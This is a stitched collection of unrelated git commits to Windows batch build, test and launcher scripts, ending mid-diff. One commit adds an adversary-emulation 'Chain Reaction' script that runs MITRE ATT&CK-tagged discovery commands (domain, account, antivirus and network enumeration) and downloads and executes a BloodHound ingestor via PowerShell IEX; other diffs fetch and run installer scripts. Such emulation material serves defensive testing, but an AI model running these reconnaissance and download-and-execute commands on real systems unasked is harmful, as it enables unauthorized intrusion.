+cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S1F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S2F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3S3F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A5S5F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A5S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A10S10F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A5S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A10S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A50S50F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A1S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A2S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A3S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A5S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A10S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A50S100F && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startRVESimPipe.cmd 1_618A100S100F


tuning ci build

tuning ci build

--- build_windows/chromium-gost-publish-release.bat
+++ build_windows/chromium-gost-publish-release.bat
@@ -2,4 +2,6 @@
 call chromium-gost-env.bat

 github-release release --user deemru --repo chromium-gost --tag %CHROMIUM_TAG% --draft
-github-release upload --user deemru --repo chromium-gost --tag %CHROMIUM_TAG% --name chromium-gost-%CHROMIUM_TAG%-win32.7z --file chromium-gost-%CHROMIUM_TAG%-win32.7z+github-release upload --user deemru --repo chromium-gost --tag %CHROMIUM_TAG% --name chromium-gost-%CHROMIUM_TAG%-win32.7z --file chromium-gost-%CHROMIUM_TAG%-win32.7z
+
+if "%1"=="" timeout 86400


forgot to pushd into executable directory

--- .github/workflows/ci.mingw.bat
+++ .github/workflows/ci.mingw.bat
@@ -42,56 +42,59 @@

 	REM Testing
 	echo ^> TESTING
-	echo Test 1
-	luaw -e "print('Everything went okay')"
+	pushd bin\Debug
+		echo Test 1
+		luaw -e "print('Everything went okay')"
+
+		echo Test 2
+		luaw -w luajit -e "print('Everything went okay')"
+
+		echo Test 3
+		luaw -w lua-5.3.6 -e "print('Everything went okay')"
+
+		echo Test 4
+		luaw -w lua-5.2.4 -e "print('Everything went okay')"
+
+		echo Test 5
+		luaw -w lua-5.1.5 -e "print('Everything went okay')"
+
+		echo Test 6
+		luaw res\testing.lua -Dtest=5 -n a b c
+		echo Test 6 end
+
+		echo Test 7
+		luaw -b res\testing.lua testing.luac
+		luaw testing.luac -Dtest=5 -n a b c
+		echo Test 7 end
+
+		echo Test 8
+		luaw -w luajit -c -o testing.luac "res\testing.lua"
+		luaw -w luajit -ltesting.luac -Dtest=5 -n a b c
+		echo Test 8 end
+
+		echo Test 9
+		luaw -w lua-5.4.2 -c -o testing.luac "res\testing.lua"
+		luaw -w lua-5.4.2 -ltesting.luac -Dtest=5 -n a b c
+		echo Test 9 end
+
+		echo Test 10
+		luaw -w lua-5.3.6 -c -o testing.luac "res\testing.lua"
+		luaw -w lua-5.3.6 -ltesting.luac -Dtest=5 -n a b c
+		echo Test 10 end
+
+		echo Test 11
+		luaw -w lua-5.2.4 -c -o testing.luac "res\testing.lua"
+		luaw -w lua-5.2.4 -ltesting.luac -Dtest=5 -n a b c
+		echo Test 11 end
+
+		echo Test 12
+		luaw -w lua-5.1.5 -c -o testing.luac "res\testing.lua"
+		luaw -w lua-5.1.5 -ltesting.luac -Dtest=5 -n a b c
+		echo Test 12 end
+
+		echo Testing complete.
+	popd

-	echo Test 2
-	luaw -w luajit -e "print('Everything went okay')"
-
-	echo Test 3
-	luaw -w lua-5.3.6 -e "print('Everything went okay')"
-
-	echo Test 4
-	luaw -w lua-5.2.4 -e "print('Everything went okay')"
-
-	echo Test 5
-	luaw -w lua-5.1.5 -e "print('Everything went okay')"
-
-	echo Test 6
-	luaw res\testing.lua -Dtest=5 -n a b c
-	echo Test 6 end
-
-	echo Test 7
-	luaw -b res\testing.lua testing.luac
-	luaw testing.luac -Dtest=5 -n a b c
-	echo Test 7 end
-
-	echo Test 8
-	luaw -w luajit -c -o testing.luac "res\testing.lua"
-	luaw -w luajit -ltesting.luac -Dtest=5 -n a b c
-	echo Test 8 end
-
-	echo Test 9
-	luaw -w lua-5.4.2 -c -o testing.luac "res\testing.lua"
-	luaw -w lua-5.4.2 -ltesting.luac -Dtest=5 -n a b c
-	echo Test 9 end
-
-	echo Test 10
-	luaw -w lua-5.3.6 -c -o testing.luac "res\testing.lua"
-	luaw -w lua-5.3.6 -ltesting.luac -Dtest=5 -n a b c
-	echo Test 10 end
-
-	echo Test 11
-	luaw -w lua-5.2.4 -c -o testing.luac "res\testing.lua"
-	luaw -w lua-5.2.4 -ltesting.luac -Dtest=5 -n a b c
-	echo Test 11 end
-
-	echo Test 12
-	luaw -w lua-5.1.5 -c -o testing.luac "res\testing.lua"
-	luaw -w lua-5.1.5 -ltesting.luac -Dtest=5 -n a b c
-	echo Test 12 end
-
-	echo Testing complete.
 endlocal


Update bigfix_setup_root_eval.bat

Update bigfix_setup_root_eval.bat

--- CMD/bigfix_setup_root_eval.bat
+++ CMD/bigfix_setup_root_eval.bat
@@ -31,3 +31,7 @@
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://software.bigfix.com/download/bes/95/BigFix-BES-9.5.9.62.exe', '%BASEFOLDER%\BigFix-BES.exe') }" -ExecutionPolicy Bypass
 REM Install:
 REM %BASEFOLDER%\BigFix-BES.exe
+
+
+REM press any key to continue....
+pause


update

update

--- build.bat
+++ build.bat
@@ -3,7 +3,7 @@
 FOR /F "usebackq" %%w IN (`git rev-parse --short HEAD`) DO SET COMMIT=%%w

 FOR /F "usebackq" %%w IN (`git tag -l --sort=-version:refname "v*"`) DO (
-  IF "%VERSION%" EQU "" (
+  IF NOT DEFINED VERSION (
     SET VERSION=%%w
   )
 )


Revert build.bat

Revert build.bat

--- build.bat
+++ build.bat
@@ -69,51 +69,14 @@
 del *.pdb > NUL 2> NUL
 del *.ilk > NUL 2> NUL

-rem cl %compiler_settings% "src\main.cpp" "src\libtommath.cpp" /link %linker_settings% -OUT:%exe_name%
-rem if %errorlevel% neq 0 goto end_of_build
+cl %compiler_settings% "src\main.cpp" "src\libtommath.cpp" /link %linker_settings% -OUT:%exe_name%
+if %errorlevel% neq 0 goto end_of_build

-odin run examples/bug
-rem odin build examples/demo -use-separate-modules
-rem odin run examples/demo -o:minimal
-rem odin run examples/demo -o:size
-rem odin run examples/demo -o:speed -keep-temp-files
-rem odin run examples/demo -o:speed -keep-temp-files
+call build_vendor.bat
+if %errorlevel% neq 0 goto end_of_build

-rem set small_hellope_flags=-strict-style -no-bounds-check -default-to-nil-allocator -disable-assert -no-crt -o:size
-rem set small_hellope_flags=-strict-style -no-bounds-check -default-to-nil-allocator -disable-assert -o:size
-
-rem odin build examples/small_hellope %small_hellope_flags% -build-mode:asm
-rem odin run examples/small_hellope %small_hellope_flags% -keep-temp-files
-rem FOR /F "usebackq" %%A IN ('small_hellope.exe') DO echo %%~zA
-
-rem cl /nologo examples\small_hellope\small_hellope.c /O1 /link Kernel32.lib -out:small_hellope_c.exe /NODEFAULTLIB /entry:mainCRTStartup /subsystem:console
-rem small_hellope_c.exe
-rem FOR /F "usebackq" %%A IN ('small_hellope_c.exe') DO echo %%~zA
-
-
-rem odin run examples/demo
-rem odin run examples/sdl2 -vet
-rem odin check examples/all -vet
-rem odin run examples/bug
-
-rem odin check examples/wasm -strict-style -target:wasi_wasm32
-rem odin check examples/demo -strict-style
-rem odin build examples/wasm -strict-style -target:wasi_wasm32 -keep-temp-files
-rem "C:\Program Files\WAVM\bin\wavm.exe" disassemble wasm.wasm > wasm.wast
-rem "C:\Program Files\WAVM\bin\wavm.exe" run --abi=wasi --function=weird_add wasm.wasm 2 3
-
-rem wasmer inspect wasm.wasm
-rem wasmer run wasm.wasm
-
-rem odin run examples/demo -strict-style
-
-rem call build_vendor.bat
-rem if %errorlevel% neq 0 goto end_of_build
-
-rem if %release_mode% EQU 0 odin check examples/bug -strict-style
-
-rem odin run examples/demo -strict-style
+if %release_mode% EQU 0 odin run examples/demo

 del *.obj > NUL 2> NUL

-:end_of_build
+:end_of_build


ログレベルのデフォルトを normal に変更. #15

ログレベルのデフォルトを normal に変更. #15

--- build.bat
+++ build.bat
@@ -3,6 +3,6 @@

 @if "%1"=="" (set CONFIGURATION=Release) else (set CONFIGURATION=%1)
 @if "%2"=="" (set TARGET=Build) else (set TARGET=%2)
-@if "%3"=="" (set VERBOSITY=quiet) else (set VERBOSITY=%3)
+@if "%3"=="" (set VERBOSITY=normal) else (set VERBOSITY=%3)

 msbuild xyzzy.sln /nologo /p:Configuration=%CONFIGURATION% /target:%TARGET% /verbosity:%VERBOSITY%


update build script to exclude old readme.html, and include Utils.fs

--- build.bat
+++ build.bat
@@ -1,7 +1,7 @@
 set /p versionNumber=

-"C:\Program Files\Microsoft F#\v4.0\fsc.exe" -o:Unquote.dll --noframework --define:TRACE --optimize+ -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.Interactive.Settings.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Core.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Linq.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Metadata.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Parallel.Seq.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\mscorlib.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Core.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Numerics.dll" --target:library --warn:3 --warnaserror:76 --vserrors --LCID:1033 --utf8output --fullpaths --flaterrors "C:\Users\Stephen\AppData\Local\Temp\.NETFramework,Version=v4.0.AssemblyAttributes.fs" Unquote\Printf.fs Unquote\RegexUtils.fs Unquote\Sprint.fs Unquote\Reduce.fs Unquote\TypeExt.fs Unquote\ExprExt.fs Unquote\Operators.fs
+"C:\Program Files\Microsoft F#\v4.0\fsc.exe" -o:Unquote.dll --noframework --define:TRACE --optimize+ -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.Interactive.Settings.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Core.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Linq.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Metadata.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Parallel.Seq.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\mscorlib.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Core.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Numerics.dll" --target:library --warn:3 --warnaserror:76 --vserrors --LCID:1033 --utf8output --fullpaths --flaterrors "C:\Users\Stephen\AppData\Local\Temp\.NETFramework,Version=v4.0.AssemblyAttributes.fs" Unquote\Printf.fs Unquote\Utils.fs Unquote\RegexUtils.fs Unquote\Sprint.fs Unquote\Reduce.fs Unquote\TypeExt.fs Unquote\ExprExt.fs Unquote\Operators.fs

-7z a -tzip builds\Unquote-%versionNumber%.zip Unquote.dll LICENSE NOTICE readme.html
+7z a -tzip builds\Unquote-%versionNumber%.zip Unquote.dll LICENSE NOTICE
 del Unquote.dll
 pause


Fix output directory

Fix output directory

--- build.cmd
+++ build.cmd
@@ -1,3 +1,3 @@
 @echo off

-dotnet build %~dp0\src\git-istage.sln /nologo+dotnet build %~dp0src\git-istage.sln /p:OutDir=%~dp0bin /nologo


Another fix for the build script

Another fix for the build script

--- build.cmd
+++ build.cmd
@@ -24,7 +24,7 @@
 REM CALL packages\KoreBuild\build\kvm install 1.0.0-beta2 -runtime CoreCLR -x86

 @powershell -NoProfile -ExecutionPolicy unrestricted -Command "iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/aspnet/Home/master/kvminstall.ps1'))"
-%USERPROFILE%\.kre\bin\kvm install 1.0.0-beta2
+CALL %USERPROFILE%\.kre\bin\kvm install 1.0.0-beta2

 :run
 REM CALL packages\KoreBuild\build\kvm use default -runtime CLR -x86


Support target and args in build.cmd on Windows.

For example, enable `build.cmd CreateNuget -st` by passing all args from build.cmd to
FAKE, if build.cmd has at least one arg.

--- build.cmd
+++ build.cmd
@@ -13,8 +13,10 @@
   exit /b %errorlevel%
 )

-SET TARGET=Default
+SET FAKE_PATH=packages\build\FAKE\tools\Fake.exe

-IF NOT [%1]==[] (SET TARGET=%~1)
-
-"packages\build\FAKE\tools\Fake.exe" "build.fsx" "target="%TARGET%""+IF [%1]==[] (
+    "%FAKE_PATH%" "build.fsx" "Default"
+) ELSE (
+    "%FAKE_PATH%" "build.fsx" %*
+)


Fixed the build script to only PAUSE on error

--- build.cmd
+++ build.cmd
@@ -1,10 +1,11 @@
-@ECHO OFF
-
 :: Fetch the MSBuild tasks (via NuGet)
 CALL .\tools\fetch-msbuild-tasks.cmd

 :: Build the package zip
 C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\msbuild.exe package\package.proj

-PAUSE
-@ECHO ON+@IF %ERRORLEVEL% NEQ 0 GOTO err
+@EXIT /B 0
+:err
+@PAUSE
+@EXIT /B 1


[SPARK-811] Added JMF native lib dir to VM Initialization

git-svn-id: f13e20fb8540f76a08799c0051229138c0279aa7@8909 b35dd754-fafc-0310-a699-88a17e54d16e

--- src/resources/startup.bat
+++ src/resources/startup.bat
@@ -1,6 +1,6 @@
 :run
 if "%1" == "-debug" goto debug
-java -Dappdir=.. -cp ../lib/windows/jmf.jar;../lib/startup.jar;../lib/windows/jdic.jar;../resources;../lib/windows; org.jivesoftware.launcher.Startup
+java -Dappdir=.. -cp ../lib/windows/jmf.jar;../lib/startup.jar;../lib/windows/jdic.jar;../resources;../lib/windows; -Djava.library.path="../lib/windows" org.jivesoftware.launcher.Startup
 goto end

 :debug


Chain Reaction

Chain Reaction

+ New chain reaction

error: pathspec 'ARTifacts/Chain_Reactions/chain_reaction_02.bat' did not match any file(s) known to git

--- ARTifacts/Chain_Reactions/chain_reaction_02.bat
+++ ARTifacts/Chain_Reactions/chain_reaction_02.bat
@@ -0,0 +1,56 @@
+:: Chain Reaction 02
+::
+:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
+:: NOTE We recommend executing from a server that you control.
+:: NOTE Thank You :)
+::
+:: This particular Chain Reaction focuses on enumeration.
+
+:: Tactic: Discovery
+:: Technique: Remote System Discovery https://attack.mitre.org/wiki/Technique/T1018
+:: Change IP scheme for your environment
+
+:: for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i > ping_output.txt
+
+net.exe view
+
+net.exe view /domain
+
+:: Tactic: Discovery
+:: Technique: Account Discovery https://attack.mitre.org/wiki/Windows_Technique_Matrix
+
+net localgroup "administrators"
+
+wmic useraccount get /ALL
+
+
+:: Tactic: Discovery
+:: Technique: Security Software Discovery https://attack.mitre.org/wiki/Technique/T1063
+
+netsh.exe advfirewall firewall show all profiles
+
+tasklist.exe | findstr cb
+
+tasklist.exe | findstr virus
+
+tasklist.exe | findstr defender
+
+:: Execution
+
+:: Tactic: Discovery
+:: Technique: System Network Configuration Discovery https://attack.mitre.org/wiki/Technique/T1016
+
+ipconfig /all
+arp -a
+nbtstat -n
+
+:: Tactic: Discovery
+:: Technique: File and Directory Discovery https://attack.mitre.org/wiki/Technique/T1083
+
+dir /s c:\ >> %temp%\download
+
+:: Tactic: Execution
+:: Technique: Powershell https://attack.mitre.org/wiki/Technique/T1086
+:: Download and invoke BloodHound Ingestor
+
+powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-BloodHoundData"


Per-app deployment: - compsatible with default Command Prompt Window; - PROCESSOR_ARCHITECTURE can have lowercase values in some cases.

--- bin/perappdeploy.cmd
+++ bin/perappdeploy.cmd
@@ -32,10 +32,12 @@
 @TITLE Mesa3D per-application deployment utility
 @echo Mesa3D per-application deployment utility
 @echo -----------------------------------------
-@echo This deployment utility allows for per-application deployments of Mesa3D without manual copy-paste
-@echo allowing updates to Mesa3D from a central location. It is intended for systems with working GPUs.
+@echo This deployment utility allows for per-application deployments of Mesa3D
+@echo without manual copy-paste allowing updates to Mesa3D from a central location.
+@echo It is intended for systems with working GPUs.
 @echo This helps a lot if you have many programs that you want to use Mesa3D with.
-@echo Some applications may still use the GPU if they are smart enough to only load OpenGL DLL from system directory.
+@echo Some applications may still use the GPU if they are smart enough to only load
+@echo OpenGL DLL from system directory.
 @echo Use Federico Dossena's Mesainjector to workaround this case.
 @echo Build instructions - https://fdossena.com/?p=mesa/injector_build.frag
 @echo VMWare ThinApp capture: http://fdossena.com/mesa/MesaInjector_Capture.7z
@@ -55,7 +57,7 @@
 @set /p dir=Path to folder holding application executable:
 @echo.
 @set mesadll=x86
-@if NOT %PROCESSOR_ARCHITECTURE%==AMD64 GOTO desktopgl
+@if /I NOT %PROCESSOR_ARCHITECTURE%==AMD64 GOTO desktopgl

 :ask_for_app_abi
 @set /p ABI=This is a 64-bit application (y=yes):


Update RingMySQL - buildvc.bat - use locatevc.bat

--- extensions/ringmysql/buildvc.bat
+++ extensions/ringmysql/buildvc.bat
@@ -1,5 +1,5 @@
 cls
-call "C:\Program Files\Microsoft Visual Studio 12.0\VC\vcvarsall.bat" x86
+call ../../src/locatevc.bat
 cl /c /DEBUG ring_vmmysql.c -I"..\..\include" -I"..\..\libdepwin\mysql\include"
 link /DEBUG ring_vmmysql.obj  ..\..\lib\ring.lib ..\..\libdepwin\MySQL\lib\libmysql.lib /DLL /OUT:..\..\bin\ring_mysql.dll /SUBSYSTEM:CONSOLE,"5.01"
 del ring_vmmysql.obj


[MNG-4509] set MAVEN_DEBUG_OPTS after setlocal so that it is clear after mvnDebug.bat is done

git-svn-id: d3061b52f177ba403f02f0a296a85518da96c313@894928 13f79535-47bb-0310-9956-ffa450edef68

--- apache-maven/src/bin/mvnDebug.bat
+++ apache-maven/src/bin/mvnDebug.bat
@@ -37,7 +37,6 @@
 @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
 @if "%MAVEN_BATCH_ECHO%" == "on"  echo %MAVEN_BATCH_ECHO%

-set MAVEN_DEBUG_OPTS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
 @echo Preparing to Execute Maven in Debug Mode

 @REM set %HOME% to equivalent of $HOME
@@ -51,6 +50,8 @@
 @REM set local scope for the variables with windows NT shell
 if "%OS%"=="Windows_NT" @setlocal
 if "%OS%"=="WINNT" @setlocal
+
+set MAVEN_DEBUG_OPTS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000

 @REM ==== START VALIDATION ====
 if not "%JAVA_HOME%" == "" goto OkJHome


Copy data folder of viridsLite Fixes comment https://github.com/jasp-stats/jasp-test-release/issues/416#issuecomment-591899068

--- Tools/copyR.cmd
+++ Tools/copyR.cmd
@@ -66,6 +66,9 @@
     if exist %SOURCEDIR%\library\%%G\icc  ( XCOPY %SOURCEDIR%\library\%%G\icc  /Q /E /I R >nul )
     if exist %SOURCEDIR%\library\%%G\po   ( XCOPY %SOURCEDIR%\library\%%G\po   /Q /E /I R >nul )

+    rem for issue https://github.com/jasp-stats/jasp-test-release/issues/416#issuecomment-591899068
+    if "%%G"=="viridisLite" ( XCOPY %SOURCEDIR%\library\%%G\data   /Q /E /I R >nul )
+
     if exist %SOURCEDIR%\library\%%G\libs (
         mkdir %DESTDIR%\library\%%G\libs
         cd %DESTDIR%\library\%%G\libs


酷狗音乐环境

酷狗音乐环境

error: pathspec '_envs/app=kugou.bat' did not match any file(s) known to git

--- _envs/app=kugou.bat
+++ _envs/app=kugou.bat
@@ -0,0 +1,5 @@
+rem ṷ
+set TITLE=ṷ
+set ICON=zimoli
+set PAGE=kugou
+set COMM=kugou,zimoli


Regress coverage for --io_generator

Regress coverage for --io_generator

--- test/regr.cmd
+++ test/regr.cmd
@@ -124,6 +124,9 @@
 run_one( "--compressibility=80" );
 run_one( "--compressibility=99" );
 run_one( "--results_share=\\\\share\\dir" );
+run_one( "--io_generator=diskspd" );
+run_one( "--io_generator=sqlio" );
+run_one( "--io_generator=bogus" );

 # Restore original results directory
 system( "rmdir /S /Q results >NUL 2>&1" );


Fix for share-amp/run.bat

Fix for share-amp/run.bat

--- archetypes/share-amp-archetype/src/main/resources/archetype-resources/run.bat
+++ archetypes/share-amp-archetype/src/main/resources/archetype-resources/run.bat
@@ -1,17 +1,3 @@
 @ECHO OFF

-IF "%MAVEN_OPTS%" == "" (
-    ECHO The environment variable 'MAVEN_OPTS' is not set, setting it for you
-
-    SET springloadedfile=%HOME%\.m2\repository\org\springframework\springloaded\1.2.5.RELEASE\springloaded-1.2.5.RELEASE.jar
-
-    if not exist %springloadedfile% (
-      mvn validate -Psetup
-    )
-
-    :: Spring loaded can be used with the Share AMP project in 5.1
-    :: (i.e. it does not have the same problem as Repo AMP and AIO)
-    SET MAVEN_OPTS=-javaagent:"%springloadedfile%" -noverify
-)
-ECHO MAVEN_OPTS is set to '%MAVEN_OPTS%'
 mvn clean install -Pamp-to-war


fixed startclean flag

fixed startclean flag

--- autoclean-startclean.bat
+++ autoclean-startclean.bat
@@ -137,9 +137,9 @@
 	color 1f

 	rem Removing autoclean-start flag file
-	echo del autoclean-start
+	echo del autoclean-startclean
 	echo,
-	del autoclean-start
+	del autoclean-startclean

 	rem Swapping startup batch files
 	echo del "C:%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\autoclean-startcleantemp.bat"


Add support for specifying what benchmark suite you want to run

--- run-nofib.bat
+++ run-nofib.bat
@@ -1,7 +1,10 @@
 @ECHO OFF
+if "%1" == "goto" shift && goto continue

-if not "%1" == "" goto continue
-for %%i in (imaginary) do for %%j in (yca\%%i\*.yca) do call %0 %%j
+REM If they enter nothing, do all the benchmarks
+set def=imaginary,spectral,real
+if not "%1" == "" set def=%1
+for %%i in (%def%) do for %%j in (yca\%%i\*.yca) do call %0 goto %%j
 goto end

 :continue


Create basic run-tests for Windows.

Create basic run-tests for Windows.

error: pathspec 'run-tests.bat' did not match any file(s) known to git

--- run-tests.bat
+++ run-tests.bat
@@ -0,0 +1,17 @@
+@echo off
+rem Batch script for running the test suite.
+rem Requires the python package `nose` to be installed.
+set nosetests=call python -W ignore::DeprecationWarning -m nose
+
+%nosetests% ^
+tests/test_provided_code.py ^
+tests/test_1_parsing.py ^
+tests/test_2_evaluating_simple_expressions.py ^
+tests/test_3_evaluating_complex_expressions.py ^
+tests/test_4_working_with_variables_and_environments.py ^
+tests/test_5_adding_functions_to_the_mix.py ^
+tests/test_6_working_with_lists.py ^
+tests/test_7_using_the_language.py ^
+tests/test_8_final_touches.py ^
+tests/test_sanity_checks.py ^
+--stop


:sparkles: feat(gen.proto): add gen proto shell tool for windows

error: pathspec 'server/nyx.engine/core/proto/defs/gen_proto.bat' did not match any file(s) known to git

--- server/nyx.engine/core/proto/defs/gen_proto.bat
+++ server/nyx.engine/core/proto/defs/gen_proto.bat
@@ -0,0 +1,35 @@
+:: Copyright (c) 2017 ASMlover. All rights reserved.
+::
+:: Redistribution and use in source and binary forms, with or without
+:: modification, are permitted provided that the following conditions
+:: are met:
+::
+::  * Redistributions of source code must retain the above copyright
+::    notice, this list ofconditions and the following disclaimer.
+::
+::  * Redistributions in binary form must reproduce the above copyright
+::    notice, this list of conditions and the following disclaimer in
+::    the documentation and/or other materialsprovided with the
+::    distribution.
+::
+:: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+:: "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+:: LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+:: FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+:: COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+:: INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+:: BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+:: LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+:: CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+:: LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+:: ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+:: POSSIBILITY OF SUCH DAMAGE.
+
+@echo off
+
+@set PROTOC_PATH=..\..\..\tools\protoc-3.2.0\bin
+if exist %PROTOC_PATH% (
+  %PROTOC_PATH%\protoc.exe --python_out=../ *.proto
+)
+
+@echo on


add windows batch to start moco server

add windows batch to start moco server

error: pathspec 'moco/moco.bat' did not match any file(s) known to git

--- moco/moco.bat
+++ moco/moco.bat
@@ -0,0 +1 @@
+java -jar moco-runner-0.9.2-standalone.jar start -p 9000 -c config.json


Use 7zip to extract .tar.gz file as gzip+tar produced incorrect files. (#3992)

--- packaged_releases/windows/scripts/prepareBuild.cmd
+++ packaged_releases/windows/scripts/prepareBuild.cmd
@@ -20,8 +20,6 @@
 :: Direct download URL http://download-codeplex.sec.s-msft.com/Download/Release?ProjectName=wix&DownloadId=1587180&FileTime=131118854877130000&Build=21050
 :: We use a mirror of Wix storage on Azure blob storage as the above link can be slow...
